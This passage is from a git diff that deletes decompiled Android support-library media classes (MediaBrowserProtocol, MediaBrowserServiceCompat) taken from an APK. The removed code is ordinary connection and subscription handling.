bundle.getInt(MediaBrowserCompat.EXTRA_PAGE_SIZE, -1) == -1 : bundle.getInt(MediaBrowserCompat.EXTRA_PAGE, -1) == bundle2.getInt(MediaBrowserCompat.EXTRA_PAGE, -1) && bundle.getInt(MediaBrowserCompat.EXTRA_PAGE_SIZE, -1) == bundle2.getInt(MediaBrowserCompat.EXTRA_PAGE_SIZE, -1); - } - - public static boolean hasDuplicatedItems(Bundle bundle, Bundle bundle2) { - int i; - int i2; - int i3; - int i4 = bundle == null ? -1 : bundle.getInt(MediaBrowserCompat.EXTRA_PAGE, -1); - int i5 = bundle2 == null ? -1 : bundle2.getInt(MediaBrowserCompat.EXTRA_PAGE, -1); - int i6 = bundle == null ? -1 : bundle.getInt(MediaBrowserCompat.EXTRA_PAGE_SIZE, -1); - int i7 = bundle2 == null ? -1 : bundle2.getInt(MediaBrowserCompat.EXTRA_PAGE_SIZE, -1); - int i8 = Integer.MAX_VALUE; - if (i4 == -1 || i6 == -1) { - i = Integer.MAX_VALUE; - i2 = 0; - } else { - i2 = i4 * i6; - i = (i6 + i2) - 1; - } - if (i5 == -1 || i7 == -1) { - i3 = 0; - } else { - i3 = i5 * i7; - i8 = (i7 + i3) - 1; - } - if (i2 > i3 || i3 > i) { - return i2 <= i8 && i8 <= i; - } - return true; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserProtocol.java b/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserProtocol.java deleted file mode 100644 index 59069d0..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserProtocol.java +++ /dev/null @@ -1,33 +0,0 @@ -package android.support.v4.media; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class MediaBrowserProtocol { - public static final int CLIENT_MSG_ADD_SUBSCRIPTION = 3; - public static final int CLIENT_MSG_CONNECT = 1; - public static final int CLIENT_MSG_DISCONNECT = 2; - public static final int CLIENT_MSG_GET_MEDIA_ITEM = 5; - public static final int CLIENT_MSG_REGISTER_CALLBACK_MESSENGER = 6; - public static final int CLIENT_MSG_REMOVE_SUBSCRIPTION = 4; - public static final int CLIENT_MSG_UNREGISTER_CALLBACK_MESSENGER = 7; - public static final int CLIENT_VERSION_1 = 1; - public static final int CLIENT_VERSION_CURRENT = 1; - public static final String DATA_CALLBACK_TOKEN = "data_callback_token"; - public static final String DATA_CALLING_UID = "data_calling_uid"; - public static final String DATA_MEDIA_ITEM_ID = "data_media_item_id"; - public static final String DATA_MEDIA_ITEM_LIST = "data_media_item_list"; - public static final String DATA_MEDIA_SESSION_TOKEN = "data_media_session_token"; - public static final String DATA_OPTIONS = "data_options"; - public static final String DATA_PACKAGE_NAME = "data_package_name"; - public static final String DATA_RESULT_RECEIVER = "data_result_receiver"; - public static final String DATA_ROOT_HINTS = "data_root_hints"; - public static final String EXTRA_CLIENT_VERSION = "extra_client_version"; - public static final String EXTRA_MESSENGER_BINDER = "extra_messenger"; - public static final String EXTRA_SERVICE_VERSION = "extra_service_version"; - public static final int SERVICE_MSG_ON_CONNECT = 1; - public static final int SERVICE_MSG_ON_CONNECT_FAILED = 2; - public static final int SERVICE_MSG_ON_LOAD_CHILDREN = 3; - public static final int SERVICE_VERSION_1 = 1; - public static final int SERVICE_VERSION_CURRENT = 1; - - MediaBrowserProtocol() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserServiceCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserServiceCompat.java deleted file mode 100644 index d6a56f5..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserServiceCompat.java +++ /dev/null @@ -1,844 +0,0 @@ -package android.support.v4.media; - -import android.app.Service; -import android.content.Intent; -import android.os.Binder; -import android.os.Bundle; -import android.os.Handler; -import android.os.IBinder; -import android.os.Message; -import android.os.Messenger; -import android.os.Parcel; -import android.os.RemoteException; -import android.support.v4.app.BundleCompat; -import android.support.v4.media.MediaBrowserCompat; -import android.support.v4.media.MediaBrowserServiceCompatApi21; -import android.support.v4.media.MediaBrowserServiceCompatApi23; -import android.support.v4.media.MediaBrowserServiceCompatApi24; -import android.support.v4.media.session.MediaSessionCompat; -import android.support.v4.os.ResultReceiver; -import android.support.v4.util.ArrayMap; -import android.support.v4.util.Pair; -import android.text.TextUtils; -import android.util.Log; -import java.io.FileDescriptor; -import java.io.PrintWriter; -import java.util.ArrayList; -import java.util.Collections; -import java.util.HashMap; -import java.util.Iterator; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public abstract class MediaBrowserServiceCompat extends Service { - public static final String KEY_MEDIA_ITEM = "media_item"; - static final int RESULT_FLAG_ON_LOAD_ITEM_NOT_IMPLEMENTED = 2; - static final int RESULT_FLAG_OPTION_NOT_HANDLED = 1; - public static final String SERVICE_INTERFACE = "android.media.browse.MediaBrowserService"; - ConnectionRecord mCurConnection; - private MediaBrowserServiceImpl mImpl; - MediaSessionCompat.Token mSession; - static final String TAG = "MBServiceCompat"; - static final boolean DEBUG = Log.isLoggable(TAG, 3); - final ArrayMap mConnections = new ArrayMap<>(); - final ServiceHandler mHandler = new ServiceHandler(); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface MediaBrowserServiceImpl { - Bundle getBrowserRootHints(); - - void notifyChildrenChanged(String str, Bundle bundle); - - IBinder onBind(Intent intent); - - void onCreate(); - - void setSessionToken(MediaSessionCompat.Token token); - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface ServiceCallbacks { - IBinder asBinder(); - - void onConnect(String str, MediaSessionCompat.Token token, Bundle bundle) throws RemoteException; - - void onConnectFailed() throws RemoteException; - - void onLoadChildren(String str, List list, Bundle bundle) throws RemoteException; - } - - @Override // android.app.Service - public void dump(FileDescriptor fileDescriptor, PrintWriter printWriter, String[] strArr) { - } - - public abstract BrowserRoot onGetRoot(String str, int i, Bundle bundle); - - public abstract void onLoadChildren(String str, Result> result); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - class MediaBrowserServiceImplBase implements MediaBrowserServiceImpl { - private Messenger mMessenger; - - MediaBrowserServiceImplBase() { - } - - @Override // android.support.v4.media.MediaBrowserServiceCompat.MediaBrowserServiceImpl - public void onCreate() { - this.mMessenger = new Messenger(MediaBrowserServiceCompat.this.mHandler); - } - - @Override // android.support.v4.media.MediaBrowserServiceCompat.MediaBrowserServiceImpl - public IBinder onBind(Intent intent) { - if (MediaBrowserServiceCompat.SERVICE_INTERFACE.equals(intent.getAction())) { - return this.mMessenger.getBinder(); - } - return null; - } - - @Override // android.support.v4.media.MediaBrowserServiceCompat.MediaBrowserServiceImpl - public void setSessionToken(final MediaSessionCompat.Token token) { - MediaBrowserServiceCompat.this.mHandler.post(new Runnable() { // from class: android.support.v4.media.MediaBrowserServiceCompat.MediaBrowserServiceImplBase.1 - @Override // java.lang.Runnable - public void run() { - Iterator it = MediaBrowserServiceCompat.this.mConnections.values().iterator(); - while (it.hasNext()) { - ConnectionRecord next = it.next(); - try { - next.callbacks.onConnect(next.root.getRootId(), token, next.root.getExtras()); - } catch (RemoteException unused) { - Log.w(MediaBrowserServiceCompat.TAG, "Connection for " + next.pkg + " is no longer valid."); - it.remove(); - } - } - } - }); - } - - @Override // android.support.v4.media.MediaBrowserServiceCompat.MediaBrowserServiceImpl - public void notifyChildrenChanged(final String str, final Bundle bundle) { - MediaBrowserServiceCompat.this.mHandler.post(new Runnable() { // from class: android.support.v4.media.MediaBrowserServiceCompat.MediaBrowserServiceImplBase.2 - @Override // java.lang.Runnable - public void run() { - for (IBinder iBinder : MediaBrowserServiceCompat.this.mConnections.keySet()) { - ConnectionRecord connectionRecord = MediaBrowserServiceCompat.this.mConnections.get(iBinder); - List> list = connectionRecord.subscriptions.get(str); - if (list != null) { - for (Pair pair : list) { - if (MediaBrowserCompatUtils.hasDuplicatedItems(bundle, pair.second)) { - MediaBrowserServiceCompat.this.performLoadChildren(str, connectionRecord, pair.second); - } - } - } - } - } - }); - } - - @Override // android.support.v4.media.MediaBrowserServiceCompat.MediaBrowserServiceImpl - public Bundle getBrowserRootHints() { - if (MediaBrowserServiceCompat.this.mCurConnection == null) { - throw new IllegalStateException("This should be called inside of onLoadChildren or onLoadItem methods"); - } - if (MediaBrowserServiceCompat.this.mCurConnection.rootHints == null) { - return null; - } - return new Bundle(MediaBrowserServiceCompat.this.mCurConnection.rootHints); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - class MediaBrowserServiceImplApi21 implements MediaBrowserServiceImpl, MediaBrowserServiceCompatApi21.ServiceCompatProxy { - Messenger mMessenger; - Object mServiceObj; - - MediaBrowserServiceImplApi21() { - } - - @Override // android.support.v4.media.MediaBrowserServiceCompat.MediaBrowserServiceImpl - public void onCreate() { - Object createService = MediaBrowserServiceCompatApi21.createService(MediaBrowserServiceCompat.this, this); - this.mServiceObj = createService; - MediaBrowserServiceCompatApi21.onCreate(createService); - } - - @Override // android.support.v4.media.MediaBrowserServiceCompat.MediaBrowserServiceImpl - public IBinder onBind(Intent intent) { - return MediaBrowserServiceCompatApi21.onBind(this.mServiceObj, intent); - } - - @Override // android.support.v4.media.MediaBrowserServiceCompat.MediaBrowserServiceImpl - public void setSessionToken(MediaSessionCompat.Token token) { - MediaBrowserServiceCompatApi21.setSessionToken(this.mServiceObj, token.getToken()); - } - - @Override // android.support.v4.media.MediaBrowserServiceCompat.MediaBrowserServiceImpl - public void notifyChildrenChanged(final String str, final Bundle bundle) { - if (this.mMessenger == null) { - MediaBrowserServiceCompatApi21.notifyChildrenChanged(this.mServiceObj, str); - } else { - MediaBrowserServiceCompat.this.mHandler.post(new Runnable() { // from class: android.support.v4.media.MediaBrowserServiceCompat.MediaBrowserServiceImplApi21.1 - @Override // java.lang.Runnable - public void run() { - for (IBinder iBinder : MediaBrowserServiceCompat.this.mConnections.keySet()) { - ConnectionRecord connectionRecord = MediaBrowserServiceCompat.this.mConnections.get(iBinder); - List> list = connectionRecord.subscriptions.get(str); - if (list != null) { - for (Pair pair : list) { - if (MediaBrowserCompatUtils.hasDuplicatedItems(bundle, pair.second)) { - MediaBrowserServiceCompat.this.performLoadChildren(str, connectionRecord, pair.second); - } - } - } - } - } - }); - } - } - - @Override // android.support.v4.media.MediaBrowserServiceCompat.MediaBrowserServiceImpl - public Bundle getBrowserRootHints() { - if (this.mMessenger == null) { - return null; - } - if (MediaBrowserServiceCompat.this.mCurConnection == null) { - throw new IllegalStateException("This should be called inside of onLoadChildren or onLoadItem methods"); - } - if (MediaBrowserServiceCompat.this.mCurConnection.rootHints == null) { - return null; - } - return new Bundle(MediaBrowserServiceCompat.this.mCurConnection.rootHints); - } - - @Override // android.support.v4.media.MediaBrowserServiceCompatApi21.ServiceCompatProxy - public MediaBrowserServiceCompatApi21.BrowserRoot onGetRoot(String str, int i, Bundle bundle) { - Bundle bundle2; - if (bundle == null || bundle.getInt(MediaBrowserProtocol.EXTRA_CLIENT_VERSION, 0) == 0) { - bundle2 = null; - } else { - bundle.remove(MediaBrowserProtocol.EXTRA_CLIENT_VERSION); - this.mMessenger = new Messenger(MediaBrowserServiceCompat.this.mHandler); - bundle2 = new Bundle(); - bundle2.putInt(MediaBrowserProtocol.EXTRA_SERVICE_VERSION, 1); - BundleCompat.putBinder(bundle2, MediaBrowserProtocol.EXTRA_MESSENGER_BINDER, this.mMessenger.getBinder()); - } - BrowserRoot onGetRoot = MediaBrowserServiceCompat.this.onGetRoot(str, i, bundle); - if (onGetRoot == null) { - return null; - } - if (bundle2 == null) { - bundle2 = onGetRoot.getExtras(); - } else if (onGetRoot.getExtras() != null) { - bundle2.putAll(onGetRoot.getExtras()); - } - return new MediaBrowserServiceCompatApi21.BrowserRoot(onGetRoot.getRootId(), bundle2); - } - - @Override // android.support.v4.media.MediaBrowserServiceCompatApi21.ServiceCompatProxy - public void onLoadChildren(String str, final MediaBrowserServiceCompatApi21.ResultWrapper> resultWrapper) { - MediaBrowserServiceCompat.this.onLoadChildren(str, new Result>(str) { // from class: android.support.v4.media.MediaBrowserServiceCompat.MediaBrowserServiceImplApi21.2 - /* JADX INFO: Access modifiers changed from: package-private */ - @Override // android.support.v4.media.MediaBrowserServiceCompat.Result - public void onResultSent(List list, int i) { - ArrayList arrayList; - if (list != null) { - arrayList = new ArrayList(); - for (MediaBrowserCompat.MediaItem mediaItem : list) { - Parcel obtain = Parcel.obtain(); - mediaItem.writeToParcel(obtain, 0); - arrayList.add(obtain); - } - } else { - arrayList = null; - } - resultWrapper.sendResult(arrayList); - } - - @Override // android.support.v4.media.MediaBrowserServiceCompat.Result - public void detach() { - resultWrapper.detach(); - } - }); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - class MediaBrowserServiceImplApi23 extends MediaBrowserServiceImplApi21 implements MediaBrowserServiceCompatApi23.ServiceCompatProxy { - MediaBrowserServiceImplApi23() { - super(); - } - - @Override // android.support.v4.media.MediaBrowserServiceCompat.MediaBrowserServiceImplApi21, android.support.v4.media.MediaBrowserServiceCompat.MediaBrowserServiceImpl - public void onCreate() { - this.mServiceObj = MediaBrowserServiceCompatApi23.createService(MediaBrowserServiceCompat.this, this); - MediaBrowserServiceCompatApi21.onCreate(this.mServiceObj); - } - - @Override // android.support.v4.media.MediaBrowserServiceCompatApi23.ServiceCompatProxy - public void onLoadItem(String str, final MediaBrowserServiceCompatApi21.ResultWrapper resultWrapper) { - MediaBrowserServiceCompat.this.onLoadItem(str, new Result(str) { // from class: android.support.v4.media.MediaBrowserServiceCompat.MediaBrowserServiceImplApi23.1 - /* JADX INFO: Access modifiers changed from: package-private */ - @Override // android.support.v4.media.MediaBrowserServiceCompat.Result - public void onResultSent(MediaBrowserCompat.MediaItem mediaItem, int i) { - if (mediaItem == null) { - resultWrapper.sendResult(null); - return; - } - Parcel obtain = Parcel.obtain(); - mediaItem.writeToParcel(obtain, 0); - resultWrapper.sendResult(obtain); - } - - @Override // android.support.v4.media.MediaBrowserServiceCompat.Result - public void detach() { - resultWrapper.detach(); - } - }); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - class MediaBrowserServiceImplApi24 extends MediaBrowserServiceImplApi23 implements MediaBrowserServiceCompatApi24.ServiceCompatProxy { - MediaBrowserServiceImplApi24() { - super(); - } - - @Override // android.support.v4.media.MediaBrowserServiceCompat.MediaBrowserServiceImplApi23, android.support.v4.media.MediaBrowserServiceCompat.MediaBrowserServiceImplApi21, android.support.v4.media.MediaBrowserServiceCompat.MediaBrowserServiceImpl - public void onCreate() { - this.mServiceObj = MediaBrowserServiceCompatApi24.createService(MediaBrowserServiceCompat.this, this); - MediaBrowserServiceCompatApi21.onCreate(this.mServiceObj); - } - - @Override // android.support.v4.media.MediaBrowserServiceCompat.MediaBrowserServiceImplApi21, android.support.v4.media.MediaBrowserServiceCompat.MediaBrowserServiceImpl - public void notifyChildrenChanged(String str, Bundle bundle) { - if (bundle == null) { - MediaBrowserServiceCompatApi21.notifyChildrenChanged(this.mServiceObj, str); - } else { - MediaBrowserServiceCompatApi24.notifyChildrenChanged(this.mServiceObj, str, bundle); - } - } - - @Override // android.support.v4.media.MediaBrowserServiceCompatApi24.ServiceCompatProxy - public void onLoadChildren(String str, final MediaBrowserServiceCompatApi24.ResultWrapper resultWrapper, Bundle bundle) { - MediaBrowserServiceCompat.this.onLoadChildren(str, new Result>(str) { // from class: android.support.v4.media.MediaBrowserServiceCompat.MediaBrowserServiceImplApi24.1 - /* JADX INFO: Access modifiers changed from: package-private */ - @Override // android.support.v4.media.MediaBrowserServiceCompat.Result - public void onResultSent(List list, int i) { - ArrayList arrayList; - if (list != null) { - arrayList = new ArrayList(); - for (MediaBrowserCompat.MediaItem mediaItem : list) { - Parcel obtain = Parcel.obtain(); - mediaItem.writeToParcel(obtain, 0); - arrayList.add(obtain); - } - } else { - arrayList = null; - } - resultWrapper.sendResult(arrayList, i); - } - - @Override // android.support.v4.media.MediaBrowserServiceCompat.Result - public void detach() { - resultWrapper.detach(); - } - }, bundle); - } - - @Override // android.support.v4.media.MediaBrowserServiceCompat.MediaBrowserServiceImplApi21, android.support.v4.media.MediaBrowserServiceCompat.MediaBrowserServiceImpl - public Bundle getBrowserRootHints() { - return MediaBrowserServiceCompatApi24.getBrowserRootHints(this.mServiceObj); - } - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public final class ServiceHandler extends Handler { - private final ServiceBinderImpl mServiceBinderImpl; - - ServiceHandler() { - this.mServiceBinderImpl = new ServiceBinderImpl(); - } - - @Override // android.os.Handler - public void handleMessage(Message message) { - Bundle data = message.getData(); - switch (message.what) { - case 1: - this.mServiceBinderImpl.connect(data.getString(MediaBrowserProtocol.DATA_PACKAGE_NAME), data.getInt(MediaBrowserProtocol.DATA_CALLING_UID), data.getBundle(MediaBrowserProtocol.DATA_ROOT_HINTS), new ServiceCallbacksCompat(message.replyTo)); - return; - case 2: - this.mServiceBinderImpl.disconnect(new ServiceCallbacksCompat(message.replyTo)); - return; - case 3: - this.mServiceBinderImpl.addSubscription(data.getString(MediaBrowserProtocol.DATA_MEDIA_ITEM_ID), BundleCompat.getBinder(data, MediaBrowserProtocol.DATA_CALLBACK_TOKEN), data.getBundle(MediaBrowserProtocol.DATA_OPTIONS), new ServiceCallbacksCompat(message.replyTo)); - return; - case 4: - this.mServiceBinderImpl.removeSubscription(data.getString(MediaBrowserProtocol.DATA_MEDIA_ITEM_ID), BundleCompat.getBinder(data, MediaBrowserProtocol.DATA_CALLBACK_TOKEN), new ServiceCallbacksCompat(message.replyTo)); - return; - case 5: - this.mServiceBinderImpl.getMediaItem(data.getString(MediaBrowserProtocol.DATA_MEDIA_ITEM_ID), (ResultReceiver) data.getParcelable(MediaBrowserProtocol.DATA_RESULT_RECEIVER), new ServiceCallbacksCompat(message.replyTo)); - return; - case 6: - this.mServiceBinderImpl.registerCallbacks(new ServiceCallbacksCompat(message.replyTo), data.getBundle(MediaBrowserProtocol.DATA_ROOT_HINTS)); - return; - case 7: - this.mServiceBinderImpl.unregisterCallbacks(new ServiceCallbacksCompat(message.replyTo)); - return; - default: - Log.w(MediaBrowserServiceCompat.TAG, "Unhandled message: " + message + "\n Service version: 1\n Client version: " + message.arg1); - return; - } - } - - @Override // android.os.Handler - public boolean sendMessageAtTime(Message message, long j) { - Bundle data = message.getData(); - data.setClassLoader(MediaBrowserCompat.class.getClassLoader()); - data.putInt(MediaBrowserProtocol.DATA_CALLING_UID, Binder.getCallingUid()); - return super.sendMessageAtTime(message, j); - } - - public void postOrRun(Runnable runnable) { - if (Thread.currentThread() == getLooper().getThread()) { - runnable.run(); - } else { - post(runnable); - } - } - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public class ConnectionRecord { - ServiceCallbacks callbacks; - String pkg; - BrowserRoot root; - Bundle rootHints; - HashMap>> subscriptions = new HashMap<>(); - - ConnectionRecord() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class Result { - private Object mDebug; - private boolean mDetachCalled; - private int mFlags; - private boolean mSendResultCalled; - - void onResultSent(T t, int i) { - } - - Result(Object obj) { - this.mDebug = obj; - } - - public void sendResult(T t) { - if (this.mSendResultCalled) { - throw new IllegalStateException("sendResult() called twice for: " + this.mDebug); - } - this.mSendResultCalled = true; - onResultSent(t, this.mFlags); - } - - public void detach() { - if (this.mDetachCalled) { - throw new IllegalStateException("detach() called when detach() had already been called for: " + this.mDebug); - } - if (this.mSendResultCalled) { - throw new IllegalStateException("detach() called when sendResult() had already been called for: " + this.mDebug); - } - this.mDetachCalled = true; - } - - boolean isDone() { - return this.mDetachCalled || this.mSendResultCalled; - } - - void setFlags(int i) { - this.mFlags = i; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private class ServiceBinderImpl { - ServiceBinderImpl() { - } - - public void connect(final String str, final int i, final Bundle bundle, final ServiceCallbacks serviceCallbacks) { - if (!MediaBrowserServiceCompat.this.isValidPackage(str, i)) { - throw new IllegalArgumentException("Package/uid mismatch: uid=" + i + " package=" + str); - } - MediaBrowserServiceCompat.this.mHandler.postOrRun(new Runnable() { // from class: android.support.v4.media.MediaBrowserServiceCompat.ServiceBinderImpl.1 - @Override // java.lang.Runnable - public void run() { - IBinder asBinder = serviceCallbacks.asBinder(); - MediaBrowserServiceCompat.this.mConnections.remove(asBinder); - ConnectionRecord connectionRecord = new ConnectionRecord(); - connectionRecord.pkg = str; - connectionRecord.rootHints = bundle; - connectionRecord.callbacks = serviceCallbacks; - connectionRecord.root = MediaBrowserServiceCompat.this.onGetRoot(str, i, bundle); - if (connectionRecord.root == null) { - Log.i(MediaBrowserServiceCompat.TAG, "No root for client " + str + " from service " + getClass().getName()); - try { - serviceCallbacks.onConnectFailed(); - return; - } catch (RemoteException unused) { - Log.w(MediaBrowserServiceCompat.TAG, "Calling onConnectFailed() failed. Ignoring. pkg=" + str); - return; - } - } - try { - MediaBrowserServiceCompat.this.mConnections.put(asBinder, connectionRecord); - if (MediaBrowserServiceCompat.this.mSession != null) { - serviceCallbacks.onConnect(connectionRecord.root.getRootId(), MediaBrowserServiceCompat.this.mSession, connectionRecord.root.getExtras()); - } - } catch (RemoteException unused2) { - Log.w(MediaBrowserServiceCompat.TAG, "Calling onConnect() failed. Dropping client. pkg=" + str); - MediaBrowserServiceCompat.this.mConnections.remove(asBinder); - } - } - }); - } - - public void disconnect(final ServiceCallbacks serviceCallbacks) { - MediaBrowserServiceCompat.this.mHandler.postOrRun(new Runnable() { // from class: android.support.v4.media.MediaBrowserServiceCompat.ServiceBinderImpl.2 - @Override // java.lang.Runnable - public void run() { - MediaBrowserServiceCompat.this.mConnections.remove(serviceCallbacks.asBinder()); - } - }); - } - - public void addSubscription(final String str, final IBinder iBinder, final Bundle bundle, final ServiceCallbacks serviceCallbacks) { - MediaBrowserServiceCompat.this.mHandler.postOrRun(new Runnable() { // from class: android.support.v4.media.MediaBrowserServiceCompat.ServiceBinderImpl.3 - @Override // java.lang.Runnable - public void run() { - ConnectionRecord connectionRecord = MediaBrowserServiceCompat.this.mConnections.get(serviceCallbacks.asBinder()); - if (connectionRecord == null) { - Log.w(MediaBrowserServiceCompat.TAG, "addSubscription for callback that isn't registered id=" + str); - } else { - MediaBrowserServiceCompat.this.addSubscription(str, connectionRecord, iBinder, bundle); - } - } - }); - } - - public void removeSubscription(final String str, final IBinder iBinder, final ServiceCallbacks serviceCallbacks) { - MediaBrowserServiceCompat.this.mHandler.postOrRun(new Runnable() { // from class: android.support.v4.media.MediaBrowserServiceCompat.ServiceBinderImpl.4 - @Override // java.lang.Runnable - public void run() { - ConnectionRecord connectionRecord = MediaBrowserServiceCompat.this.mConnections.get(serviceCallbacks.asBinder()); - if (connectionRecord == null) { - Log.w(MediaBrowserServiceCompat.TAG, "removeSubscription for callback that isn't registered id=" + str); - } else if (MediaBrowserServiceCompat.this.removeSubscription(str, connectionRecord, iBinder)) { - } else { - Log.w(MediaBrowserServiceCompat.TAG, "removeSubscription called for " + str + " which is not subscribed"); - } - } - }); - } - - public void getMediaItem(final String str, final ResultReceiver resultReceiver, final ServiceCallbacks serviceCallbacks) { - if (TextUtils.isEmpty(str) || resultReceiver == null) { - return; - } - MediaBrowserServiceCompat.this.mHandler.postOrRun(new Runnable() { // from class: android.support.v4.media.MediaBrowserServiceCompat.ServiceBinderImpl.5 - @Override // java.lang.Runnable - public void run() { - ConnectionRecord connectionRecord = MediaBrowserServiceCompat.this.mConnections.get(serviceCallbacks.asBinder()); - if (connectionRecord == null) { - Log.w(MediaBrowserServiceCompat.TAG, "getMediaItem for callback that isn't registered id=" + str); - } else { - MediaBrowserServiceCompat.this.performLoadItem(str, connectionRecord, resultReceiver); - } - } - }); - } - - public void registerCallbacks(final ServiceCallbacks serviceCallbacks, final Bundle bundle) { - MediaBrowserServiceCompat.this.mHandler.postOrRun(new Runnable() { // from class: android.support.v4.media.MediaBrowserServiceCompat.ServiceBinderImpl.6 - @Override // java.lang.Runnable - public void run() { - IBinder asBinder = serviceCallbacks.asBinder(); - MediaBrowserServiceCompat.this.mConnections.remove(asBinder); - ConnectionRecord connectionRecord = new ConnectionRecord(); - connectionRecord.callbacks = serviceCallbacks; - connectionRecord.rootHints = bundle; - MediaBrowserServiceCompat.this.mConnections.put(asBinder, connectionRecord); - } - }); - } - - public void unregisterCallbacks(final ServiceCallbacks serviceCallbacks) { - MediaBrowserServiceCompat.this.mHandler.postOrRun(new Runnable() { // from class: android.support.v4.media.MediaBrowserServiceCompat.ServiceBinderImpl.7 - @Override // java.lang.Runnable - public void run() { - MediaBrowserServiceCompat.this.mConnections.remove(serviceCallbacks.asBinder()); - } - }); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private class ServiceCallbacksCompat implements ServiceCallbacks { - final Messenger mCallbacks; - - ServiceCallbacksCompat(Messenger messenger) { - this.mCallbacks = messenger; - } - - @Override // android.support.v4.media.MediaBrowserServiceCompat.ServiceCallbacks - public IBinder asBinder() { - return this.mCallbacks.getBinder(); - } - - @Override // android.support.v4.media.MediaBrowserServiceCompat.ServiceCallbacks - public void onConnect(String str, MediaSessionCompat.Token token, Bundle bundle) throws RemoteException { - if (bundle == null) { - bundle = new Bundle(); - } - bundle.putInt(MediaBrowserProtocol.EXTRA_SERVICE_VERSION, 1); - Bundle bundle2 = new Bundle(); - bundle2.putString(MediaBrowserProtocol.DATA_MEDIA_ITEM_ID, str); - bundle2.putParcelable(MediaBrowserProtocol.DATA_MEDIA_SESSION_TOKEN, token); - bundle2.putBundle(MediaBrowserProtocol.DATA_ROOT_HINTS, bundle); - sendRequest(1, bundle2); - } - - @Override // android.support.v4.media.MediaBrowserServiceCompat.ServiceCallbacks - public void onConnectFailed() throws RemoteException { - sendRequest(2, null); - } - - @Override // android.support.v4.media.MediaBrowserServiceCompat.ServiceCallbacks - public void onLoadChildren(String str, List list, Bundle bundle) throws RemoteException { - Bundle bundle2 = new Bundle(); - bundle2.putString(MediaBrowserProtocol.DATA_MEDIA_ITEM_ID, str); - bundle2.putBundle(MediaBrowserProtocol.DATA_OPTIONS, bundle); - if (list != null) { - bundle2.putParcelableArrayList(MediaBrowserProtocol.DATA_MEDIA_ITEM_LIST, list instanceof ArrayList ? (ArrayList) list : new ArrayList<>(list)); - } - sendRequest(3, bundle2); - } - - private void sendRequest(int i, Bundle bundle) throws RemoteException { - Message obtain = Message.obtain(); - obtain.what = i; - obtain.arg1 = 1; - obtain.setData(bundle); - this.mCallbacks.send(obtain); - } - } - - @Override // android.app.Service - public void onCreate() { - super.onCreate(); - MediaBrowserServiceImplApi24 mediaBrowserServiceImplApi24 = new MediaBrowserServiceImplApi24(); - this.mImpl = mediaBrowserServiceImplApi24; - mediaBrowserServiceImplApi24.onCreate(); - } - - @Override // android.app.Service - public IBinder onBind(Intent intent) { - return this.mImpl.onBind(intent); - } - - public void onLoadChildren(String str, Result> result, Bundle bundle) { - result.setFlags(1); - onLoadChildren(str, result); - } - - public void onLoadItem(String str, Result result) { - result.setFlags(2); - result.sendResult(null); - } - - public void setSessionToken(MediaSessionCompat.Token token) { - if (token == null) { - throw new IllegalArgumentException("Session token may not be null."); - } - if (this.mSession != null) { - throw new IllegalStateException("The session token has already been set."); - } - this.mSession = token; - this.mImpl.setSessionToken(token); - } - - public MediaSessionCompat.Token getSessionToken() { - return this.mSession; - } - - public final Bundle getBrowserRootHints() { - return this.mImpl.getBrowserRootHints(); - } - - public void notifyChildrenChanged(String str) { - if (str == null) { - throw new IllegalArgumentException("parentId cannot be null in notifyChildrenChanged"); - } - this.mImpl.notifyChildrenChanged(str, null); - } - - public void notifyChildrenChanged(String str, Bundle bundle) { - if (str == null) { - throw new IllegalArgumentException("parentId cannot be null in notifyChildrenChanged"); - } - if (bundle == null) { - throw new IllegalArgumentException("options cannot be null in notifyChildrenChanged"); - } - this.mImpl.notifyChildrenChanged(str, bundle); - } - - boolean isValidPackage(String str, int i) { - if (str == null) { - return false; - } - for (String str2 : getPackageManager().getPackagesForUid(i)) { - if (str2.equals(str)) { - return true; - } - } - return false; - } - - void addSubscription(String str, ConnectionRecord connectionRecord, IBinder iBinder, Bundle bundle) { - List> list = connectionRecord.subscriptions.get(str); - if (list == null) { - list = new ArrayList<>(); - } - for (Pair pair : list) { - if (iBinder == pair.first && MediaBrowserCompatUtils.areSameOptions(bundle, pair.second)) { - return; - } - } - list.add(new Pair<>(iBinder, bundle)); - connectionRecord.subscriptions.put(str, list); - performLoadChildren(str, connectionRecord, bundle); - } - - boolean removeSubscription(String str, ConnectionRecord connectionRecord, IBinder iBinder) { - boolean z = false; - if (iBinder == null) { - return connectionRecord.subscriptions.remove(str) != null; - } - List> list = connectionRecord.subscriptions.get(str); - if (list != null) { - Iterator> it = list.iterator(); - while (it.hasNext()) { - if (iBinder == it.next().first) { - it.remove(); - z = true; - } - } - if (list.size() == 0) { - connectionRecord.subscriptions.remove(str); - } - } - return z; - } - - void performLoadChildren(final String str, final ConnectionRecord connectionRecord, final Bundle bundle) { - Result> result = new Result>(str) { // from class: android.support.v4.media.MediaBrowserServiceCompat.1 - /* JADX INFO: Access modifiers changed from: package-private */ - @Override // android.support.v4.media.MediaBrowserServiceCompat.Result - public void onResultSent(List list, int i) { - if (MediaBrowserServiceCompat.this.mConnections.get(connectionRecord.callbacks.asBinder()) != connectionRecord) { - if (MediaBrowserServiceCompat.DEBUG) { - Log.d(MediaBrowserServiceCompat.TAG, "Not sending onLoadChildren result for connection that has been disconnected. pkg=" + connectionRecord.pkg + " id=" + str); - return; - } - return; - } - if ((i & 